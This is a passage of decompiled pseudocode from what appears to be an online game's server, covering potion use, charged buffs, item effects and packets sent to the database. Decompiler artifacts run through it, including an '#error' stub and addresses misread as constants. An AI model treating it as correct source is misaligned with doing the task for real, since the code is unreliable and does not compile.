(char *)v3 + 35680, slot); v7 = *(_DWORD *)(v6 + 112); iic = v6; v8 = (*(int (__thiscall **)(_DWORD, int))(*(_DWORD *)v7 + 100))(*(_DWORD *)(v6 + 112), v6 + 8); v9 = v8; if ( v8 >= 0 ) { if ( v5 > v8 ) v5 = v8; v10 = v5 + *(_DWORD *)((char *)v3 + 32213); v11 = v10; *(_DWORD *)((char *)v3 + 32213) = v10; v12 = *((_DWORD *)v3 + 896); if ( v11 > v12 ) *(_DWORD *)((char *)v3 + 32213) = v12; v13 = *(_DWORD *)((char *)v3 + 78); v14 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange( v3, v14, v13, 0, 0, (int)ShineObjectClass::ShineObject::so_ply_Send2WhoTargetMe, 0, 0, 0, 0, 65535); (*(void (__thiscall **)(int, int, int))(*(_DWORD *)v7 + 104))(v7, iic + 8, v9 - v5); if ( v9 == v5 ) { LOWORD(slot) = slot & 0x3FF | 0x2400; ShineObjectClass::ShinePlayer::sp_DestroyItem(v3, *((_WORD *)v3 + 2), iic, (int)&slot); } else { ShineObjectClass::ShinePlayer::sp_ItemAttrSave(v3, iic, 9, slot); } } v15 = "ShineObjectClass::ShinePlayer::sp_UseAmountSP"; } else { v15 = "ShineObjectClass::ShinePlayer::sp_UseAmountSP"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v15); } //----- (00563A70) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_UseAmountHPSP(void *this, int slot, __int16 inv) { void *v3; // esi@1 int v4; // ebx@1 int v5; // ebx@1 int v6; // edi@1 int v7; // edi@1 int v8; // eax@3 int v9; // eax@3 int v10; // ebp@3 int v11; // eax@8 int v12; // ecx@8 unsigned int v13; // eax@8 int v14; // eax@10 int v15; // ecx@10 unsigned int v16; // eax@10 int v17; // ST04_4@12 int v18; // eax@12 char *v19; // [sp-4h] [bp-2Ch]@2 int iic; // [sp+10h] [bp-18h]@3 int iac; // [sp+14h] [bp-14h]@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_UseAmountHPSP"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_UseAmountHPSP"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1260))(v3); v5 = v4 - (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1252))(v3); v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1264))(v3); v7 = v6 - (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1256))(v3); if ( v7 + v5 > 0 ) { v8 = (*(int (__thiscall **)(char *, int))*((int (__thiscall ***)(_DWORD, _DWORD))v3 + 8920))( (char *)v3 + 35680, slot); iic = v8; iac = *(_DWORD *)(v8 + 112); v9 = (*(int (__stdcall **)(int))(**(_DWORD **)(v8 + 112) + 100))(v8 + 8); v10 = v9; if ( v9 >= 0 ) { if ( v5 > v9 ) { v5 = v9; v7 = 0; } if ( v7 > v9 - v5 ) v7 = v9 - v5; v11 = v5 + *(_DWORD *)((char *)v3 + 32209); v12 = v11; *(_DWORD *)((char *)v3 + 32209) = v11; v13 = *((_DWORD *)v3 + 895); if ( v12 > v13 ) *(_DWORD *)((char *)v3 + 32209) = v13; v14 = v7 + *(_DWORD *)((char *)v3 + 32213); v15 = v14; *(_DWORD *)((char *)v3 + 32213) = v14; v16 = *((_DWORD *)v3 + 896); if ( v15 > v16 ) *(_DWORD *)((char *)v3 + 32213) = v16; v17 = *(_DWORD *)((char *)v3 + 78); v18 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange( v3, v18, v17, 0, 0, (int)ShineObjectClass::ShineObject::so_ply_Send2WhoTargetMe, 0, 0, 0, 0, 65535); (*(void (__stdcall **)(int, int))(*(_DWORD *)iac + 104))(iic + 8, v10 - v7 - v5); if ( v10 == v7 ) { LOWORD(slot) = slot & 0x3FF | 0x2400; ShineObjectClass::ShinePlayer::sp_DestroyItem(v3, *((_WORD *)v3 + 2), iic, (int)&slot); } else { ShineObjectClass::ShinePlayer::sp_ItemAttrSave(v3, iic, 9, slot); } } v19 = "ShineObjectClass::ShinePlayer::sp_UseAmountHPSP"; } else { v19 = "ShineObjectClass::ShinePlayer::sp_UseAmountHPSP"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v19); } //----- (00563C50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_Move2MiniHouse(void *this, int slot, int itm) { void *v3; // esi@1 int v4; // eax@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Move2MiniHouse"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_Move2MiniHouse"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (*(int (__thiscall **)(char *, int))*((int (__thiscall ***)(_DWORD, _DWORD))v3 + 8920))((char *)v3 + 35680, slot); if ( v4 && *(_DWORD *)v4 == *(_DWORD *)itm && *(_DWORD *)(v4 + 4) == *(_DWORD *)(itm + 4) ) ShineObjectClass::ShinePlayer::sp_Move2MiniHouse(v3, v4, slot); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v3 + 2332))(v3, 1792, 9); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Move2MiniHouse"); } // 50FEA0: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_Move2MiniHouse(_DWORD, _DWORD, _DWORD); //----- (00563D30) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChargedBuff(void *ply, int itm) { void *v2; // ebp@1 signed int v3; // eax@1 ChargedItemEffect *v4; // ebx@5 DebugLogging *v5; // esi@6 _iobuf *v6; // eax@8 DebugLogging *v7; // ecx@10 int v8; // eax@12 unsigned __int16 v9; // ax@16 unsigned __int16 v10; // cx@21 unsigned int v11; // eax@21 int v12; // eax@22 bool v13; // zf@22 void *v14; // eax@22 signed int v15; // edi@24 int v16; // esi@24 bool v17; // sf@29 unsigned __int8 v18; // of@29 char *v19; // esi@32 int v20; // ecx@32 int v21; // eax@32 int v22; // edi@32 int v23; // ecx@32 int v24; // ecx@32 unsigned int v25; // eax@32 ZoneBaseSession *v26; // eax@34 ZoneBaseSession *v27; // eax@37 char *v28; // eax@38 int v29; // ecx@38 int v30; // edx@38 int v31; // edx@38 unsigned int v32; // ecx@38 int v33; // eax@40 unsigned int v34; // esi@41 int v35; // eax@41 int v36; // esi@42 int v37; // eax@42 DebugLineFeed *v38; // [sp+1Ch] [bp-6Ch]@10 ChargedItemEffectFinger finger; // [sp+30h] [bp-58h]@1 int k; // [sp+34h] [bp-54h]@20 void *dic; // [sp+38h] [bp-50h]@21 ChargedItemEffectList::ChargedItemEffectElement *cie; // [sp+3Ch] [bp-4Ch]@13 int v43; // [sp+40h] [bp-48h]@12 FunctionEntarance _; // [sp+44h] [bp-44h]@1 ChargedItemEffectList::ChargedEffectListRouter celr; // [sp+48h] [bp-40h]@41 struct tm timestr; // [sp+58h] [bp-30h]@16 int v47; // [sp+84h] [bp-4h]@1 v2 = ply; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_ply_ChargedBuff"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ChargedBuff"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ChargedBuff"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v47 = 0; MoveManager::MoveManager((DiceTaiSai *)&finger); LOBYTE(v47) = 1; v3 = -1; do { if ( v3 >= -1 ) { ++v3; finger.cief_Finger = v3; if ( v3 < chargedbuffdatabox.cideb_Total ) continue; } finger.cief_Finger = -10; goto LABEL_6; } while ( chargedbuffdatabox.cideb_Array[v3].ce_ItemID != *(_WORD *)(itm + 8) ); v4 = chargedbuffdatabox.cideb_Array[v3].ce_Data; if ( !v4 ) { LABEL_6: v5 = DebugLogging::operator<<( &ChargedItemLog, "ShineObjectClass::ShinePlayer::so_ply_ChargedBuff : This effect is already set "); if ( DebugLogging::dl_ActivAll ) { if ( v5->dl_Activ ) { DebugLogging::dl_FilePoint(v5); v6 = v5->dl_FilePointer; if ( v6 ) fprintf(v6, "%d"); } } v38 = &deb_LF; v7 = v5; goto LABEL_15; } v8 = *((_WORD *)v2 + 71038); v43 = v8; if ( (_WORD)v8 == -1 || (cie = (ChargedItemEffectList::ChargedItemEffectElement *)(*(int (__stdcall **)(int))(*((_DWORD *)v2 + 35516) + 4))(v8)) == 0 ) { v38 = &deb_LF; v7 = DebugLogging::operator<<(&ChargedItemLog, "ShineObjectClass::ShinePlayer::so_ply_ChargedBuff : Too many buff"); LABEL_15: DebugLogging::operator<<(v7, v38); LOBYTE(v47) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&finger); v47 = -1; goto LABEL_44; } memcpy((void *)×tr, &stru_8C8DD4, sizeof(timestr)); v9 = v4->KeepTime_Hour; if ( v9 ) { timestr.tm_hour = v9 + (((unsigned int)chargeditemcheck._bf0 >> 19) & 0x3F); mktime(×tr); } else { timestr.tm_year = 355; timestr.tm_mon = 11; timestr.tm_mday = 31; timestr.tm_hour = 23; timestr.tm_min = 59; } if ( v4->EffectEnum == 31 ) { k = 0; while ( 1 ) { v10 = v4->EffectValue; v11 = v4->EffectValue; dic = (void *)(unk_6BC990 >= v11); if ( unk_6BC990 < v11 ) break; v12 = 728 * v11; v13 = unk_6BC988 + v12 == 0; v14 = (void *)(unk_6BC988 + v12); dic = v14; if ( !v13 && *(_DWORD *)v14 ) { v15 = *(_DWORD *)(*(_DWORD *)v14 + 34); v16 = 3600000 * v4->KeepTime_Hour; if ( (unsigned __int8)(*(int (__thiscall **)(void *, void *, _DWORD, _DWORD, void *, unsigned int, _DWORD, _DWORD, int, signed int))(*(_DWORD *)v2 + 1584))( v2, v2, *(_DWORD *)(*(_DWORD *)v14 + 34), v4->StaStrength, v14, clockwatch.cw_CurrTick, 0, 0, 3600000 * v4->KeepTime_Hour, 11) ) { if ( !*(_DWORD *)(*(_DWORD *)dic + 200) || !*(_DWORD *)(*(_DWORD *)dic + 204) ) { ShineObjectClass::ShineObject::so_AbnormalState_BitSet(v2, v15); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet(v2, v15, v16, v4->StaStrength); (*(void (__thiscall **)(void *, signed int, int, signed int))(*(_DWORD *)v2 + 1004))(v2, v15, v16, 1); } (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 1316))(v2); } v18 = __OFSUB__(k + 1, 1); v17 = k++ < 0; if ( v17 ^ v18 ) continue; } goto LABEL_32; } AssertClass::ac_AssertFail(&shineassert, "AbnormalStateDictionary::AbState::as_FromID : Invalid skill id", v10); } LABEL_32: ChargedItemEffectList::ChargedItemEffectElement::ciee_SetEndTime( cie, v4, timestr.tm_year - 100, timestr.tm_mon + 1, timestr.tm_mday, timestr.tm_hour, timestr.tm_min); v19 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -28671; *(_DWORD *)(v19 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *(_DWORD *)(v19 + 6) = *(_DWORD *)itm; *(_DWORD *)(v19 + 10) = *(_DWORD *)(itm + 4); *((_WORD *)v19 + 7) = *(_WORD *)(itm + 8); *((_WORD *)v19 + 10) = v4->Handle; *(_DWORD *)(v19 + 22) = chargeditemcheck._bf0; v19[26] = LOBYTE(timestr.tm_year) - 100; v20 = ((unsigned __int16)*(_DWORD *)(v19 + 26) ^ (unsigned __int16)((LOWORD(timestr.tm_mon) + 1) << 8)) & 0x1F00 ^ *(_DWORD *)(v19 + 26); *(_DWORD *)(v19 + 26) = v20; v21 = v20; v22 = (unsigned __int16)v43; v23 = v20 ^ (timestr.tm_mday << 13); v24 = v21 ^ v23 & 0x7E000; *(_DWORD *)(v19 + 26) = v24; v25 = v24 ^ (unsigned int)&wholesaver.ws_savestore[283].esc_abstate.buffer[7432] & (v24 ^ (timestr.tm_hour << 19)); *(_DWORD *)(v19 + 26) = v25; *(_DWORD *)(v19 + 26) = (timestr.tm_min << 25) | (unsigned int)&wholesaver.ws_savestore[289].esc_abstate.buffer[26903] & v25; *((_DWORD *)v19 + 4) = v22; *(_DWORD *)(v19 + 30) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 34) ) { v26 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v26); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_ChargedBuff1 : Packet Too Long", 34); } if ( ProtocolPacket::pp_SetPacketLen(&gpp, 34) ) { v27 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v27); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_ChargedBuff2 : Packet Too Long", 34); } v28 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -28669; *((_WORD *)v28 + 3) = v4->Handle; *((_DWORD *)v28 + 2) = chargeditemcheck._bf0; v28[12] = LOBYTE(timestr.tm_year) - 100; v29 = ((unsigned __int16)*((_DWORD *)v28 + 3) ^ (unsigned __int16)((LOWORD(timestr.tm_mon) + 1) << 8)) & 0x1F00 ^ *((_DWORD *)v28 + 3); *((_DWORD *)v28 + 3) = v29; v30 = v29 ^ (timestr.tm_mday << 13); v31 = v29 ^ v30 & 0x7E000; *((_DWORD *)v28 + 3) = v31; v32 = v31 ^ (unsigned int)&wholesaver.ws_savestore[283].esc_abstate.buffer[7432] & (v31 ^ (timestr.tm_hour << 19)); *((_DWORD *)v28 + 3) = v32; *((_DWORD *)v28 + 3) = (timestr.tm_min << 25) | (unsigned int)&wholesaver.ws_savestore[289].esc_abstate.buffer[26903] & v32; *(_DWORD *)(v28 + 2) = v22; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 16) ) { v33 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v33 + 12))(v33, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_ChargedBuff3 : Packet Too Long", 16); } ChargedItemEffectList::ChargedEffectListRouter::ChargedEffectListRouter( &celr, (ChargedItemEffectList::ChargedItem *)((char *)v2 + 142064), (#734 *)v2); memcpy((char *)v2 + 142688, &ShineObjectClass::ShineObject::so_ChargedEffectContainerClear, 0x2Cu); LOBYTE(v47) = 2; *((_WORD *)v2 + 71366) = *(_WORD *)&ShineObjectClass::ShineObject::so_ChargedEffectContainerClear.cec_StorageAnywhere; List::l_4AllInList((List *)((char *)v2 + 142064), (ListIteratorDefault *)&celr); *((_BYTE *)v2 + 3560) = 1; LOBYTE(v47) = 1; ChargedItemEffectList::ChargedEffectListRouter::_ChargedEffectListRouter(&celr); v34 = clockwatch.cw_CurrTick; v35 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 988))(v2); if ( (unsigned __int8)(*(int (__thiscall **)(void *, signed int, unsigned int))(*(_DWORD *)v2 + 3344))( v2, 29200, v34 + ((signed int)((unsigned __int64)(10 * v35 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(10 * v35 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31)) ) { v36 = *(_DWORD *)v2; v37 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 988))(v2); (*(void (__thiscall **)(void *, signed int, unsigned int))(v36 + 884))( v2, 29200, ((signed int)((unsigned __int64)(v37 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v37 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31)); } (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 860))(v2); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 872))(v2); (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v2 + 52))(v2, 1); LOBYTE(v47) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&finger); v47 = -1; LABEL_44: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ChargedBuff"); } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; // 130BDA44: using guessed type struct ChargedEffectContainer ShineObjectClass__ShineObject__so_ChargedEffectContainerClear; //----- (00564300) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemEffect(void *this, int effect, unsigned __int16 value, int funcstr) { void *v4; // esi@1 int v5; // ebx@8 AbnormalStateDictionary::AbState::AbStateStr *v6; // edi@8 int v7; // ebp@11 int v8; // [sp-8h] [bp-28h]@5 signed int v9; // [sp-4h] [bp-24h]@5 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemEffect"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ItemEffect"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; switch ( effect ) { case 0: (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v4 + 1248))(v4, value); break; case 1: (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v4 + 1272))(v4, value); break; case 7: (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v4 + 1248))(v4, 99999); (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v4 + 1272))(v4, 99999); break; case 8: ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 58, value); ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 31, value); ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 17, value); ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 70, value); ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 6, value); ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 33, value); ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 32, value); ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 36, value); v9 = value; v8 = 95; goto LABEL_15; case 2: v9 = value; v8 = 58; goto LABEL_15; case 3: v9 = value; v8 = 31; goto LABEL_15; case 4: v5 = *(_DWORD *)(*(_DWORD *)funcstr + 82); v6 = AbnormalStateDictionary::AbState::as_FromIndex(&dic_abstate, *(ABSTATEINDEX *)(*(_DWORD *)funcstr + 82)); if ( v6 != 0 ) { if ( (unsigned __int8)(*(int (__thiscall **)(void *, void *, _DWORD, _DWORD, AbnormalStateDictionary::AbState::AbStateStr *, unsigned int, _DWORD, signed int, _DWORD, signed int))(*(_DWORD *)v4 + 1584))( v4, v4, *(_DWORD *)(*(_DWORD *)funcstr + 82), value, v6, clockwatch.cw_CurrTick, 0, -1, 0, 11) ) { ShineObjectClass::ShineObject::so_AbnormalState_BitSet(v4, v6->index->AbStataIndex); v7 = (int)&v6->subabstate[value]; if ( *(_DWORD *)v7 ) { (*(void (__thiscall **)(void *, ABSTATEINDEX, _DWORD, signed int))(*(_DWORD *)v4 + 1004))( v4, v6->index->AbStataIndex, *(_DWORD *)(*(_DWORD *)v7 + 43), 1); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet( v4, v6->index->AbStataIndex, *(_DWORD *)(*(_DWORD *)v7 + 43), value); } } (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2460))(v4); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_ItemEffect : Invalid abstate", v5); } break; case 5: ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 17, value); ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 21, value); ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 23, value); ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 18, value); ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 22, value); ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 20, value); ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 24, value); ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 41, value); v9 = value; v8 = 19; LABEL_15: ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, v8, v9); break; default: break; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemEffect"); } //----- (005645A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_Notice(void *this, int str) { void *v2; // edi@1 char *v3; // edx@1 int v4; // ecx@1 char *v5; // eax@1 char *v6; // esi@1 int v7; // esi@1 char v8; // bl@2 char v9; // si@3 char v10; // cl@4 char v11; // al@5 int v12; // esi@5 int v13; // eax@7 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_Notice"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_Notice"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; v4 = str; v5 = gpp.pp_Buffer + 3; v6 = gpp.pp_Buffer + 3; *(_WORD *)gpp.pp_Buffer = 8209; v7 = (int)&v6[-str]; do { v8 = *(_BYTE *)v4; *(_BYTE *)(v7 + v4) = *(_BYTE *)v4; ++v4; } while ( v8 ); v9 = (_BYTE)v5 + 1; do v10 = *v5++; while ( v10 ); v11 = (_BYTE)v5 - v9; v3[2] = v11; v12 = (unsigned __int8)v11 + 3; if ( ProtocolPacket::pp_SetPacketLen(&gpp, (unsigned __int8)v11 + 3) ) { v13 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v13 + 12))(v13, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::so_ply_Notice : Packet Too Long", v12); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_Notice"); } //----- (005646B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_silverwing_Cancel(void *this, int inven) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_silverwing_Cancel"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_silverwing_Cancel"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 2332))(v2, 1792, 9); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_silverwing_Cancel"); } //----- (00564750) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_AttrChange2DB(void *this, int iic, int iac, int iti, int inven) { void *v5; // ebx@1 char *v6; // edi@1 int v7; // ebp@1 int v8; // esi@1 int v9; // edi@1 int v10; // eax@1 ZoneBaseSession *v11; // eax@2 int itia; // [sp+38h] [bp+Ch]@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_AttrChange2DB"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_AttrChange2DB"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13385; *((_WORD *)v6 + 4) = *((_WORD *)v5 + 28942); *((_WORD *)v6 + 1) = *((_WORD *)v5 + 2); v7 = iti; *((_DWORD *)v6 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 836))(v5); *(_DWORD *)(v6 + 10) = *(_DWORD *)iti; *(_DWORD *)(v6 + 14) = *(_DWORD *)(iti + 4); v6 += 18; memcpy(v6, (const void *)(iti + 8), 0x64u); v6 += 100; *(_WORD *)v6 = *(_WORD *)(iti + 108); v6[2] = *(_BYTE *)(iti + 110); v8 = iac; v9 = iti + 10; (*(void (__thiscall **)(int, int))(*(_DWORD *)iac + 8))(iac, iti + 10); itia = (*(int (__thiscall **)(int, int))(*(_DWORD *)v8 + 8))(v8, iti + 10) + 20; v10 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v8 + 8))(v8, v9); if ( ProtocolPacket::pp_SetPacketLen(&gpp, v10 + 20) ) { v11 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v11); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_AttrChange2DB : Packet Too Long", itia); } LOWORD(v11) = *((_WORD *)v5 + 28942); (*(void (__thiscall **)(char *, ZoneBaseSession *, int, int, int, int))(*((_DWORD *)v5 + 14470) + 56))( (char *)v5 + 57880, v11, iic, v7, inven, inven); ++*((_WORD *)v5 + 28942); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_AttrChange2DB"); } //----- (005648C0) -------------------------------------------------------- #error "5648C0: undefined or illegal type '#593' (funcsize=112)" //----- (00564A70) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SilverWing_PortalBlast(void *this, int inven) { void *v2; // esi@1 int v3; // edx@1 __int16 v4; // ax@1 int v5; // eax@1 int v6; // ebp@1 unsigned __int16 v7; // ax@1 int v8; // eax@3 MapInfo *v9; // edi@4 unsigned int v10; // eax@5 char *v11; // eax@5 unsigned int v12; // eax@5 char *v13; // eax@5 int v14; // edx@5 FunctionEntarance _; // [sp+10h] [bp-7Ch]@1 char linkstruct; // [sp+14h] [bp-78h]@5 char v17; // [sp+28h] [bp-64h]@5 char v18; // [sp+49h] [bp-43h]@5 int v19; // [sp+6Ah] [bp-22h]@5 int v20; // [sp+6Eh] [bp-1Eh]@5 unsigned int v21; // [sp+7Ch] [bp-10h]@1 int v22; // [sp+88h] [bp-4h]@1 v2 = this; v21 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_SilverWing_PortalBlast"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SilverWing_PortalBlast"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SilverWing_PortalBlast"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_DWORD *)v2 + 8920); v4 = *(_WORD *)inven; v22 = 0; v5 = (*(int (__thiscall **)(char *, int))v3)((char *)v2 + 35680, v4 & 0x3FF); v6 = v5; v7 = *(_WORD *)(v5 + 8); if ( v7 == unk_131DF0CC ) { v8 = *(_WORD *)(v6 + 11); if ( v8 < mapdatabox.mdb_maxmapid ) { v9 = mapdatabox.mdb_index[v8]; if ( v9 ) { v10 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v10; v11 = (char *)&namestring + 256 * v10; *(_DWORD *)v11 = *(_DWORD *)&v9->MapName.n3_name[0]; *((_DWORD *)v11 + 1) = *(_DWORD *)&v9->MapName.n3_name[4]; *((_DWORD *)v11 + 2) = *(_DWORD *)&v9->MapName.n3_name[8]; v11[12] = 0; strncpy(&v17, v11, 0xCu); v12 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v12; v13 = (char *)&namestring + 256 * v12; *(_DWORD *)v13 = *(_DWORD *)&v9->MapName.n3_name[0]; *((_DWORD *)v13 + 1) = *(_DWORD *)&v9->MapName.n3_name[4]; *((_DWORD *)v13 + 2) = *(_DWORD *)&v9->MapName.n3_name[8]; v13[12] = 0; strncpy(&v18, v13, 0xCu); v14 = *(_DWORD *)v2; v19 = *(_DWORD *)(v6 + 13); v20 = *(_DWORD *)(v6 + 17); (*(void (__thiscall **)(void *, signed int, signed int))(v14 + 772))(v2, 12, 26); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 2332))(v2, 1792, 9); (*(void (__thiscall **)(void *, char *, signed int, signed int, signed int))(*(_DWORD *)v2 + 1528))( v2, &linkstruct, 6, 9, 10); } } } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_silverwing_Setloc : wrong item", 